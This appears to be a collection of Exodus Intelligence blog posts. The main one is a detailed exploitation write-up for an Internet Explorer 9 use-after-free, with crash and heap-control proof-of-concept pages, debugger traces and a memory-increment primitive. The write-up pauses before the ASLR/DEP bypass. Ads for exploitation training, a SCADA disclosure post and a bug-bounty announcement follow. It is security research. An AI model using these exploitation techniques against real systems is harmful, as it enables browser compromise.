A browser is only as strong as its weakest byte

Back in September, FireEye posted a blog entry discussing CVE-2013-3147, a vulnerability in Microsoft Internet Explorer. They pointed out that Microsoft patched the issue on July 9th in Bulletin MS13-055. While reading their post it dawned on me that I had discovered a similar issue as far back as January this year. The usage of the onbeforeeditfocus event was what caught my attention, and upon installing the aforementioned patch from Microsoft, I confirmed that they silently fixed my bug, too. As we at Exodus had been shipping an exploit to our customers for this issue since January, we figured an adequate amount has time has passed and we can now share some details here on our blog.

The vulnerability we discovered was also an use-after-free vulnerability (as is often the case with browser issues) that involved event handlers and some other miscellaneous Javascript constructs. The exploit I wrote bypassed ASLR through a forced memory disclosure and Data Execution Prevention through the usual ROP chain trickery. The actual exploit is non-trivial, so bear with me with me and expect some minimal shortcuts to be taken in the following explanation.

The Crash

First of all, lets dump a poc that causes the crash:

<!doctype html>
<HTML>
  <head>
    <script>
      function setinput() {
        try { document.write('Timber'); } catch(e) {}
      }
      function loaded() {
        document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
        document.getElementsByTagName('input')[0].focus();
      }
    </script>
  </head>
  <body onload="loaded();">
    <input value="mydata" type="text"></input>
  </body>
</html>

If you open this file in Internet Explorer 9 (from a website, not as a local file) you might get a crash that looks like this:

This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=00000010 edx=0000006a esi=00000000 edi=00000000
eip=71e0e0d0 esp=0327cb8c ebp=0327cb98 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
MSHTML!CHTMLEditor::FireOnSelectionChange+0xb:
71e0e0d0 8b01            mov     eax,dword ptr [ecx]  ds:002b:00000010=????????
1:019> ub
MSHTML!CSelectionManager::EndSelectionChange+0x8e:
71e0e0c4 90              nop
MSHTML!CHTMLEditor::FireOnSelectionChange:
71e0e0c5 8bff            mov     edi,edi
71e0e0c7 55              push    ebp
71e0e0c8 8bec            mov     ebp,esp
71e0e0ca 51              push    ecx
71e0e0cb 51              push    ecx
71e0e0cc 53              push    ebx
71e0e0cd 8d4f10          lea     ecx,[edi+10h]

This might look like it is a NULL-pointer dereference: edi == NULL; ecx gets set to edi + 0×10; and then ecx is dereferenced. Since, as far as I know, NULL pointer dereference vulnerabilities are not exploitable in Internet Explorer this does not look useful. But this is not the actual crash, and to see where things first go wrong we simply turn on pageheap and user mode stack trace database for iexplore.exe.

gflags.exe /i iexplore.exe +hpa +ust
Current Registry Settings for iexplore.exe executable are: 02001000
    ust - Create user mode stack trace database
    hpa - Enable page heap

Running the poc again gives us the following information:

(87c.fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00008000 ebx=0e62afd8 ecx=7746389a edx=02bb10d0 esi=ffffffff edi=0ed3af38
eip=71e43f37 esp=08c9caa0 ebp=08c9cab8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52:
71e43f37 334738          xor     eax,dword ptr [edi+38h] ds:002b:0ed3af70=????????


1:019> lmi vm mshtml
    File version:     9.0.8112.16446

1:021> k
ChildEBP RetAddr  
08c9cab8 71e43ed1 MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52
08c9cacc 71e43e85 MSHTML!CSelectionManager::ShouldElementShowUIActiveBorder+0x2e
08c9cae4 71e4308f MSHTML!CSelectionManager::SetEditContext+0xdf
08c9cb50 71cce2fd MSHTML!CSelectionManager::SetEditContextFromElement+0x34e
08c9cb90 71ccdb7d MSHTML!CSelectionManager::SetEditContextFromCurrencyChange+0x2d6
08c9cbb8 71ef200f MSHTML!CSelectionManager::Notify+0x1e0
08c9cbcc 71ef1fc2 MSHTML!CHTMLEditor::Notify+0x5a
08c9cbe8 71ccce15 MSHTML!CHTMLEditorProxy::Notify+0x21
08c9ccd0 71d9a7a4 MSHTML!CDoc::SetCurrentElem+0x525
08c9cd2c 71ccdef8 MSHTML!CElement::BecomeCurrent+0x1d6
08c9cd60 71c51018 MSHTML!CElement::focusHelperInternal+0x109
08c9cd78 710d85fe MSHTML!CFastDOM::CHTMLElement::Trampoline_focus+0x58
08c9cdac 71116402 jscript9!Js::JavascriptFunction::CallFunction+0xc4
08c9ce00 08d804da jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x117
WARNING: Frame IP not in any known module. Following frames may be wrong.
08c9ce58 710d85fe 0x8d804da
08c9ce94 710d8523 jscript9!Js::JavascriptFunction::CallFunction+0xc4
08c9cef8 710d845a jscript9!Js::JavascriptFunction::CallRootFunction+0xb6
08c9cf34 710d83e6 jscript9!ScriptSite::CallRootFunction+0x4f
08c9cf5c 71119c8d jscript9!ScriptSite::Execute+0x63
08c9cfc0 71df27b9 jscript9!ScriptEngine::Execute+0x11a
08c9d044 71df26e3 MSHTML!CListenerDispatch::InvokeVar+0x12a
08c9d064 71e4d050 MSHTML!CListenerDispatch::Invoke+0x40
08c9d0e8 71d4e894 MSHTML!CEventMgr::_InvokeListeners+0x187
08c9d110 71e4d147 MSHTML!CEventMgr::_InvokeListenersOnWindow+0xcc
08c9d2d4 71edc03c MSHTML!CEventMgr::Dispatch+0x3cc
08c9d2fc 71df2ab0 MSHTML!CEventMgr::DispatchEvent+0xc9
08c9d330 71dc4062 MSHTML!COmWindowProxy::Fire_onload+0x123
08c9d394 71dc3c7a MSHTML!CMarkup::OnLoadStatusDone+0x5eb
08c9d3b4 71dc3c6f MSHTML!CMarkup::OnLoadStatus+0xb6
08c9d804 71d2ffbc MSHTML!CProgSink::DoUpdate+0x5dc
08c9d814 71eaa339 MSHTML!CProgSink::OnMethodCall+0x12
08c9d850 71ec9ba0 MSHTML!GlobalWndOnMethodCall+0x115

1:020> ub
MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x36:
call    MSHTML!EdUtil::FireOnEvent
mov     dword ptr [ebp-8],eax
shl     eax,0Fh

I wont be going into the details and root cause analysis for this crash but will mainly focus exploitation, but the main concept is that the body.onload() function triggers the onbeforeeditfocus handler to be called and the function apparently deletes some important data that causes a crash once we return from the ‘FireOnEvent’ function.

Unfortunately the VM I’m playing on has an windbg version that sometimes fails the user stack trace lookup, so I cannot show you that trace at this point. I can tell you the size of the allocation however, thanks to Fermin’s subtraction technique:

1:019> .printf "size is 0x%x", 1000 - edi & 0xFFF
size is 0xc8

So we know we are freeing a size 0xC8 piece of memory that contains some data that is being reused later on. Time to assess the exploitability of this issue, and mainly the exploitability when running with full process ASLR (no cheating as many public exploits these days seem to do).

First off all we need to check if we can replace the freed memory with our own data. Thanks to the Low Fragmentation Heap (LFH) this is pretty easy, by simply allocating 0xC8 bytes after the document.write() call we should re-occupy the last freed slot of 0xC8 sized memory. To make sure this allocation size uses the LFH allocator we make a few allocation of this size before we start the whole fun.

Setting a breakpoint at the initial crash location allows us to inspect our progress (don’t forget to turn off PageHeap to make sure the LFH allocator will be activated).

Actually, if at this point you want to stop reading and try to create the exploit yourself, go ahead and do so as spoilers are on the way.

Control

Back to the progress: taking control over freed memory:

<!doctype html>
<HTML>
  <head>
    <script>

      lfh = new Array(20);
      for(i = 0; i < lfh.length; i++) {
        lfh[i] = document.createElement('div');
        lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
      }

      function setinput() {
        try { document.write('Timber'); } catch(e) {}
        d = document.createElement('div');
        d.className = "\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF";
      }

      function loaded() {
        document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
        document.getElementsByTagName('input')[0].focus();
      }
    </script>
  </head>
  <body onload="loaded();">
    <input value="mydata" type="text"></input>
  </body>
</html>

Lets run this and watch the effects:

1:019> bp !mshtml + 0x383f37  ".printf \"AFTER FireOnEvent : edi %p\", edi; .echo; dc edi L0xc8/4;.echo;"
AFTER FireOnEvent : edi 1072a440
1072a440  71eb2d04 71eb320c 00000002 106f4920  .-.q.2.q.... Io.
1072a450  106eff10 106eff38 107309a0 00000000  ..n.8.n...s.....
1072a460  107308e0 00000000 00000000 0000000f  ..s.............
1072a470  00000001 00000000 00908002 00000000  ................
1072a480  00000000 00000000 00000000 00000000  ................
1072a490  106c3dc0 00000000 ffffffff 00000000  .=l.............
1072a4a0  00000000 00000000 00000000 00000000  ................
1072a4b0  00000000 107309a0 00000000 00000000  ......s.........
1072a4c0  00000000 106c3dc0 1072cd88 1072ce40  .....=l...r.@.r.
1072a4d0  00000000 106efe20 106efe48 106efe70  .... .n.H.n.p.n.
1072a4e0  106efe98 106efec0 106efee8 00000000  ..n...n...n.....
1072a4f0  00000000 00000000 00000000 00000000  ................
1072a500  00000000 00000000                    ........

eax=00008000 ebx=107309a0 ecx=00000000 edx=00000001 esi=ffffffff edi=1072a440
eip=71e03f37 esp=1330cca8 ebp=1330ccc0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52:
71e03f37 334738          xor     eax,dword ptr [edi+38h] ds:002b:1072a478=02809000
1:019> g
AFTER FireOnEvent : edi 1072a440
1072a440  ffffffff ffffffff ffffffff ffffffff  ................
1072a450  ffffffff ffffffff ffffffff ffffffff  ................
1072a460  ffffffff ffffffff ffffffff ffffffff  ................
1072a470  ffffffff ffffffff ffffffff ffffffff  ................
1072a480  ffffffff ffffffff ffffffff ffffffff  ................
1072a490  ffffffff ffffffff ffffffff ffffffff  ................
1072a4a0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4b0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4c0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4d0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4e0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4f0  ffffffff ffffffff ffffffff ffffffff  ................
1072a500  ffffffff 0000ffff                    ........

eax=00008000 ebx=10730a60 ecx=0000005d edx=0000005c esi=ffffffff edi=1072a440
eip=71e03f37 esp=1330c960 ebp=1330c978 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52:
71e03f37 334738          xor     eax,dword ptr [edi+38h] ds:002b:1072a478=ffffffff

As can be seen we have successfully taken over the freed memory allocation (the breakpoint hits twice and the 2nd time is when it was originally freed memory) and are now operating on data under our control. Next question is: “What now?”. First of all this does not seem to be one of those easy ‘control virtual function table and then control program flow’ style use-after-frees. At this point you should probably dig deeper and look into what the object/memory is supposed to be before it is freed to gain more insight and what route to take toward exploitation, but we wont do that to spare you some reading and me a lot of typing. It is also possible to create different types of crashes that might give you faster vftable control, but we’ll be working with this version since it allows us to do funny things.

We will start to just look at the function at the point of the crash and work from them under the assumption that we control the memory in [edi]. Opening the crash location and selecting ‘edi’ at the crash point shows us that edi comes from eax at the beginning of the function.

1-edi-assigned

We also see that the result of the ‘EdUtil::FireOnEvent’ call is used to determine a jump at the end of the basic block:

2-eax-jnz

The result of the function is ’1′ resulting in the the jnz not being taken and the function ending shortly after that without using the freed data again. Of course, you really need to dig into the function and find out why it returns 1 and not 0 which gives you much more exploitation flexibility, but again: shortcut time, we’re not doing that here.

3-jnz-to-retn

We’ll need to go up a few function to find a place where the freed memory is being accessed again. You can use the call stack or code cross references in IDA to do that, or step through it in WinDBG, whichever you prefer. You should be able to figure out that in “MSHTML!CSelectionManager::SetEditContext+0xf2:” the memory is used again, but nothing thereabouts seems to be too useful:


71e03e93 836738f7        and     dword ptr [edi+38h],0FFFFFFF7h ds:002b:0083b968=ffffffff

Tracing further will tell you that you’ve ended up inside CSelectionManager::EndSelectionChange with controlled memory being set to eax just before the call:

4-Call-EndSelection

This is where things get interesting. If you need a break from my ramblings I suggest you take a look at the function, assuming that you can control the data in eax at the beginning of the function and find an interesting path through to the epilogue. When working in a fully-ASLRed process there are a few ways that I can currently think of that will not crash:

  1. Replace freed objects with other objects so virtual calls are correctly resolved into a module
  2. Avoid any and all virtual function calls
  3. use USER_SHARE_DATA to call LdrHotPatchRoutine

I have created a PNG of the whole function by taking a few screenshots and pasting them together in a graphics editor, mspaint.exe (there are probably better approaches to that but, hey, this worked). Use right click: open in new tab/window if your screen size isn’t big enough to read it when you click it normally.

5-Full-EndSelection

I highlighted ‘esi’ in the function since that is the register that points to our data. The thing that caught my eye when I was looking at this was the following code:

.text:63904388 loc_63904388:                           ; CODE XREF: CSelectionManager::EndSelectionChange(int)-22579Fj
.text:63904388                 mov     esi, [esi+0Ch]
.text:6390438B                 test    eax, eax
.text:6390438D                 jnz     loc_6378E064
.text:63904393                 inc     dword ptr [esi+0A0h]
.text:63904399                 jmp     loc_639B2DD2

If we can reach that block without crashing and with eax set to the correct value (0×0) we can INCrement whatever memory address that we want. This seems somewhat limited but we’ll get back to that later. First lets try to reach that block and once we reach the problematic situation we can worry about actual pursuit of exploitation.

If we slowly step through the function we will see what values we need to have in our controlled memory to be able to reach the code without crashing. If you at this point are working with a non-ASLR library you want to take a different path that leads to a virtual function table call with the pointer under your control, but that’s not what we are after.

Stepping through the function show us:

.text:639B2DAE                 dec     dword ptr [esi+90h]
.text:639B2DB4                 mov     eax, [esi+90h]
...
.text:639B2DC3                 test    eax, eax
.text:639B2DC5                 short loc_639B2DD2

[esi+0x90] should be 0×1 at the beginning.

.text:6390282A loc_6390282A:                           ; CODE XREF: CSelectionManager::EndSelectionChange(int)+15j
.text:6390282A                 shl     ecx, 4
.text:6390282D                 xor     ecx, [esi+3Ch]
.text:63902830                 and     ecx, 10h
.text:63902833                 xor     [esi+3Ch], ecx
.text:63902836                 jmp     loc_639B2DC3
.
.
.
.text:639B2DC7                 mov     eax, [esi+3Ch]
.text:639B2DCA                 test    al, 10h
.text:639B2DCC                 jnz     loc_63904352

[esi+0x3C] need to pass some test for 0×10, so we’ll just poke at that until it complies.

The block of code we want to reach requires eax to be 0×0 to take the right jump. For this to happen we need to trace back where eax is being set and figure out which path we need to walk to get there. There are two places right above the block we want to reach that can set eax:

loc_6378D607:
mov     eax, edi

and 

.text:6390437C                 test    byte ptr [esi+3Ch], 2
.text:63904380                 jnz     loc_6378D607
.text:63904386                 xor     eax, eax

A little inspection show that edi will be non zero at the point where edi is moved to eax, so the only route we can take is the ‘xor eax, eax’ path. To reach this we need to survive through additional functions:
CSelectionManager::GetTrackerType‘ and ‘CSelectionManager::ShouldCaretBeInteractive‘ and both need to return the right return values. This can be achieved without too much hassle.

CSelectionManager::GetTrackerType should return either 1 or 2 which can be achieved by having our data + 0×50 point to memory where at offset 0xC you can find the value 0×1 or 0×2:

6-CTrackerType

The other function: CSelectionManager::ShouldCaretBeInteractive, is a little bit more complex, but can also be navigated through without the process crashing. I will not sit you through that but instead will point out that you can find a value of 0×1 inside the USER_SHARE_DATA at a 0x7ffe0240. I think it’s about time to test a proof of concept that will allow us to INC dword ptr [0xCONTROLLED] and then go from there.

To do this we need to be able allocate an 0xC8-sized piece of memory and fill it with data under our control including values of \u0000 (we need 0×1 at offset +0×90). The element.className trick we used in our previous sample wont cut it since the string will terminate at the first \u0000 it encounters. There are however plenty more way to have some fun with the heap in Internet Explorer 9. One of the tricks I like to use consists of the following lines of code:

a = document.createElement('area');
a.shape = 'poly';
a.coords = '1,2,3,4,5,6,7,8,9,10';

This snippet creates an AREA element, set its shape to be a polygon and then assigns a list of points (x,y) to its ‘coord’ property. This results in an allocation that consists of:
[NUMBER_OF_POINTS][X][Y][X][Y] …. with all the values converted to hex double words. Using this we do not control the first 4 bytes of the allocation but we’ll be able to easily control the rest and set it to values we want. This results in the proof of concept shown below:

<!doctype html>
<HTML>
	<head>
		<script>
			lfh = new Array(20);
			for(i = 0; i < lfh.length; i++) {
				lfh[i] = document.createElement('div');
				lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
			}

			function setinput() {
				try { document.write('Timber'); } catch(e) {}
				d = document.createElement('area');
				d.shape = "poly"
				d.coords = "1,2,606348324,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";
			}

			function loaded() {
				document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
				document.getElementsByTagName('input')[0].focus();
			}
		</script>
	</head>
	<body onload="loaded();">
		<input value="ExodusIntel" type="text"></input>
	</body>
</html>

This cause the following crash in IE:

(638.104): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=131ec89c edx=00000033 esi=24242424 edi=00000001
eip=71e04393 esp=131ec8a0 ebp=131ec8d8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
MSHTML!CSelectionManager::EndSelectionChange+0x87:
71e04393 ff86a0000000    inc     dword ptr [esi+0A0h] ds:002b:242424c4=????????

So there you have it, our exploit primitive allows us to INCrement data at a single 4 byte address of our choosing. Is that enough to

  1. Force a memory disclosure needed to bypass ASLR
  2. Control the flow of the execution with enough control to bypass DEP

The answer is of course Yes, otherwise I wouldn’t be writing this blog. As a matter of fact, I found two somewhat distinct ways to do this.

And…. my time is up for this week. I will write the follow up with at least one exploit and publish it next week after Thanksgiving, anyone who sends me either a workable idea, or even better, an actual working exploit will get a shoutout in Part 2.

A few notes on the exploit I wrote:

  • Due to the requirements our memory replacement has (size 0xC8, some specific values at certain offsets) we’re almost certainly stuck with a ‘fixed’ address as the memory address we can INC. Feel free to add a heapspray if you need.
  • We will only trigger the ‘crash’ once and thus the initial exploit primitive of INC[memory] will be used for both a memory disclosure followed by process control.

To be continued….

Exodus Intelligence 2013 Training Courses

Thoughts of winning Pwn2Own–or just have the urge to thoroughly bend browsers to your will? Come learn the tricks of the trade firsthand from a former Pwn2Own winner himself! Peter Vreugdenhil and Brandon Edwards will be teaching their brand-new, never before seen Browser Exploitation class in which they will be dropping all sorts of tricks amassed from many virtual years browsing the web in their own special way (including new ways to force memory disclosure to bypass ASLR). In order to deliver the most up-to-date material for such a course, the instructors will walk through the process of (reliably) exploiting an IE vulnerability patched my Microsoft within the last 3 months.

We will also have Aaron Portnoy and Zef Cekaj, who have spent the last year contemplating the art that is reverse engineering and synthesizing what differentiates the successful vulnerability hunters from the bit flippers. They are excited to be giving their new Breaking Binary Applications class, covering browser plugins (and memory disclosure), enterprise server-side software (expect at least one un-patched remote Microsoft Exchange bug), the hilarity that is SCADA (or: how to get Slashdot’ed with only 6 hours of work), and more. Learn their field-tested techniques to discover 0-day and their processes for popping the elusive calculator.

Students will be required to take a blood oath swearing their agreement to be bound by the Exodus FrieNDA and not discuss the (currently) unpatched vulnerabilities we’ll be exploiting during the two courses.

…OK, maybe the blood oath was going a bit far, but seriously: no snitches (show some sympathy at least, these bugs are on death row).

The training classes will be hosted at the Exodus Intelligence office in sunny Austin, Texas during the week of February 18th. The benefit of hosting it at our office is that you’ll be able to interact with the whole Exodus team as well as enjoy a week of training followed by an authentic Texas BBQ party at a popular downtown bar hosted by our resident grillmaster Logan Brown (you may remember his name from the Ekoparty Texas vs Argentinian BBQ competition last year). Drinks and food will be included, of course.


Abstracts

Breaking Binary Applications

Aaron Portnoy and Zef Cekaj

Prerequisites:

  • IDA Pro at least version 6.1 with a working IDAPython and PySide built by Hex-Rays on Windows (virtualized is acceptable)
  • The ability to run VMware virtual machines (player or workstation will work)
  • A working install of the IDA Toolbag plugin for IDA Pro
  • A working knowledge of the Python programming language

This three day training is an extremely hands-on course intended to give the attendees realistic experience auditing closed-source applications for the purposes of vulnerability discovery and exploitation. We will cover the crucial methodologies we’ve used over the years to unearth flaws in server-side, client-side, SCADA products, browser plugins, media players, mail clients, and more.

The first day will be devoted to building the students’ arsenal of tools and techniques to enumerate software’s attack surface, determining where weak points that should be targeted exist, peeking under the hood to gain in-depth knowledge about how the software operates, and ultimately preparing to break it. Day one will also cover specific tools that can greatly improve the efficiency of a bug hunter. Most notably, we will cover our IDA Toolbag plugin and demonstrate how, through the power of IDAPython, a reverse engineer can automate many of the more tedious aspects of the bug hunting process.

The following two days will be entirely devoted to applying the aforementioned techniques against products that the Exodus team has found critical vulnerabilities in. Each target has been specifically chosen to impart upon the student a unique lesson about the bug hunting process.

If time permits we will walk the class through exploitation of one or more of the bugs they discovered. This will, of course, cover bypassing any of the exploitation mitigations that are present.


Browser Exploitation

Peter Vreugdenhil and Brandon Edwards

Prerequisites:

  • IDA Pro at least version 6.1 with a working IDAPython and PySide built by Hex-Rays on Windows (virtualized is acceptable)
  • The ability to run VMware virtual machines (player or workstation will work)
  • A working install of the IDA Toolbag plugin for IDA Pro
  • A working knowledge of the Python programming language

This two day class, taught by a former Pwn2Own winner and pioneer in the art of client-side vulnerability development, is a highly interactive, hands-on training delving into the intricacies of browser exploitation. This course starts by introducing the methods used to uncover some of the most impactful recent browser vulnerabilities, and then quickly moves into the processes of in-depth analysis and vulnerability comprehension, revealing the tools and techniques used by the Exodus team to transform crashes into reliable exploits, bypassing modern protections such as DEP and ASLR along the way.

Students will develop a working familiarity with the concepts presented through hands-on exercises, applying the course material to exploit modern vulnerabilities such as MS012-063. This course focuses on Internet Explorer, but students will leave equipped with a foundation of knowledge and insight applicable to exploiting any modern browser.


Schedule and Pricing

A limited number of student and group discounts are available. Please e-mail us at info@exodusintel.com for more information.

Breaking Binary Applications: February 18th-20th (3 days) – $3000 USD
Browser Exploitation: February 21st and 22nd (2 days) – $2000 USD

You may register on the Exodus website at: http://www.exodusintel.com/#2013.


Testimonials

Via E-Mail:

"I just wanted to take a moment to let you know that I thought the training you gave over the past three days was wonderful. I believe I learnt a lot from both of you, and truly appreciate the effort that you guys put in preparing the materials, finding the teaching targets, doing up the exploits beforehand, and everything else. I know for sure that there must have been much, much more that transpired behind the scene that you guys did that we, who simply sat there and enjoyed the fruits of your labour, would definitely be oblivious to :P So, thanks a bunch for that! It's truly appreciated!

I thought the best part of the training was two-fold: First, in just seeing how you do things, both in terms of the little "demo" reversing you gave, as well as in terms of the way you describe your approach and thought processes, not out-rightly but subtly, perhaps even unconsciously, that gave a tremendous insight into what I and my team don't do well, or can improve on. Those little nuggets of information obviously came from loads of experience, and it's something that I really value, and will be taking home :) The second bit is the part about automating reversing. To be honest I never really thought that reversing could be made so much quicker and easier, and most importantly, more precise ("cheating", you called it :P). Your sharing about automation techniques opened up a whole new dimension -- to think about, and to get started on."



"The training was great! This was my first training at any security conference and I think was lucky to attend the best one! I wish this was for 5 days :)"



"I thought the class last week was great. It was my favorite part of the Pwn2Own week and out of all the other trainings I’ve been to, your training was the best and most useful I’ve attended. Some other student’s I talked to were at times overwhelmed by the rapid fire delivery of the course material. Personally, I liked the fast paced nature of the class because it kept me actively interested and engaged. The “real world” nature of the exercises also made them more fun to do."


Via Twitter:

"Great first day of Bug Hunting with @aaronportnoy and Zef. Eyes open farther; hope I can sleep!"

"Just attended "Bug Hunting and Analysis 0x65" by @aaronportnoy and @the_navs. If you want to discover Windows 0days, take this class."

"Epic day one of bug hunting. Great material and instruction. Looking forward to day two. @aaronportnoy"

"@aaronportnoy Today was an intense training day. The concepts and techniques are growing on me as time is passing by. You and Zef are great."


Contact

You can always e-mail info@exodusintel.com for any inquiries regarding our training classes or vulnerability intelligence feed offerings.

What does a flightless bird and SCADA software have in common?

They’re both easy targets.

If you’ve been paying attention to the security industry for any length of time then you’re probably familiar with the non-disclosure vs responsible disclosure vs full disclosure stances researchers take with regard to vulnerabilities they discover. As the value of vulnerabilities has been steadily going up over the years, more and more individuals and organizations are aligning themselves with the non-disclosure crowd and not for the traditional reasons. These days there seem to be an increasing number of cases of individuals hiding behind non-disclosure for reasons that generally tend to end up revolving around them making more money than reputable outlets provide.

When I read that a new company out of Italy Malta called ReVuln has discovered vulnerabilities in SCADA software and decided not to inform the affected vendors, but rather sell the information privately to their customers, I was intrigued.

Here is some of the press coverage they received:

Security Firm Showcases Vulnerabilities in SCADA Software, Won’t Report Them to Vendors

ReVuln claims 0day vulnerabilities for SCADA systems

Security Firm ReVuln Showcases SCADA Zero-Days

ReVuln showcases vulnerabilities in SCADA software, but won’t report them to vendors

Exploit broker releases EXPLICIT VIDS of holes in industrial control kit

As ReVuln founder Luigi Auriemma is quoted as saying:

“ICS-CERT has just contacted us some minutes ago requesting more details but we don’t release information,” “[The vulnerabilities] are part of our portfolio for our customers so no public details will be released; they will remain private.”

For those of you who do not know, SCADA systems run things like power plants, airports, manufacturing facilities, and so on (read the wikipedia page for more info). While these may not be defined as “Internet infrastructure”, I would argue that they are even more crucial to the safety and security of the general populace (especially when you think about the national security implications of vulnerabilities in these systems).

On Thanksgiving day I had a morning’s worth of time to wait for a turkey to cook, so I decided to take a shot at finding as many SCADA 0day vulnerabilities as possible. As we at Exodus we responsibly report all vulnerabilities we deal with, my goal was to report any such findings for free to ICS-CERT, the group responsible for collaborating with SCADA vendors to ensure vulnerabilities are fixed.

Here’s a list of the vendors and types of vulnerabilities I found (23 in all):

Rockwell Automation

  • 1 remote code execution vulnerability
  • 1 denial of service vulnerabilty
  • discovery that one piece of Rockwell software installs Adobe Reader 8 which is susceptible to an innumerable amount of remote code execution flaws

Schneider Electric

  • 3 remote code execution vulnerabilities
  • 1 denial of service vulnerability

Indusoft

  • 1 denial of service vulnerability

RealFlex

  • 8 denial of service vulnerabilities

Eaton Corporation

  • 3 remote code execution vulnerabilities
  • 2 denial of service vulnerabilities
  • 1 arbitrary file download vulnerability
  • 1 arbitrary file deletion vulnerability
  • 1 arbitrary file upload/overwrite vulnerability

The most interesting thing about these bugs was how trivial they were to find. The first exploitable 0day took a mere 7 minutes to discover from the time the software was installed. For someone who has spent a lot of time auditing software used in the enterprise and consumer space, SCADA was absurdly simple in comparison. The most difficult part of finding SCADA vulnerabilities seems to be locating the software itself. I plan to put in a request to the ICS-CERT that they perhaps establish a repository of SCADA software for researchers like myself to audit (provided they agree to disclose the vulnerabilities, that is). Even a list of what software is of interest would be beneficial.

All of the vulnerabilities listed above will be responsibly disclosed to the ICS-CERT team just following the publication of this post.

Now, I realize I haven’t found nearly all the vulnerabilities in these products, but hopefully there is some overlap with those that were never going to end up in the hands of those able to fix them. I will probably take another (longer than one morning) shot at similar software sometime in the future, but for now it was just a nice way to pass the time.

Happy Thanksgiving.


Aaron
@aaronportnoy

EIP August Incentives

The mood here at Exodus Intelligence is excitement over the community reception of  our EIP program. We have had over 60 submissions in the past 6 weeks since we launched, and we have been able to purchase over 20% of the submissions.

That number might sound low, but it is no secret that we are a little more particular in what we pursue, as we are actually exploiting each acquisition. We also are looking to make the largest impact possible, by only pursuing vulns affecting common, and widely deployed software. To counter this selectiveness, we are paying our researchers almost double what is offered at similar programs, as we value the information, and the researchers.

Another notable difference in our program, is that we are striving for a much more appropriate turn around in our analysis (10 days maximum) and we promote interaction and communication with our researchers.

The purpose of this blog is not only to boast about our program, but to notify the research community, that we are planning on boosting our purchasing power for the month of August by the following factors:

    • Price Match Guarantee

We will beat any offer from any other vulnerability acquisition program for exploitable submissions that we consider valuable to our clients

 

 

    • Charitable Donation Matching

We will dollar for dollar match any researcher that chooses to donate an Exodus vulnerability offer to an industry supporting charity (such as EFF)

 

 

    • Researcher Appreciation Multiplier

All offers we make for vulnerabilities submitted during the month of August will receive an additional 25% bonus

 

We are very grateful for our researchers, and we strive to make EIP the best program possible. To keep interest from the community and our researchers, we plan to periodically have incentive months similar to this. We will feel out how this month goes to determine what we will do next, and we are open for suggestions from the community on ideas for future incentives.

 

Announcing the Exodus Intelligence Program

We are excited to announce that the Exodus Intelligence Program is now accepting submissions!

The EIP was designed by those with a long history both discovering vulnerabilities as well as procuring them through various acquisition programs. Our collective experience has allowed us to architect the EIP such that it is appealing to those who have the skill and desire to receive compensation for their research.

All vulnerabilities purchased through the EIP will be disclosed to the affected vendor(s) for remediation.

Some of the benefits for researchers participating in the EIP include a 10 business day decision timeline, starting when a submission is first received. We also intend to maintain a highly transparent program whereby our analysts are reachable by the contributing researchers for any questions. For those submissions we do procure, we will provide the researcher who sent it in with our internal analysis as to the root cause and exploitability because we believe it is essential to give back to and aid our researchers in their pursuit of knowledge.

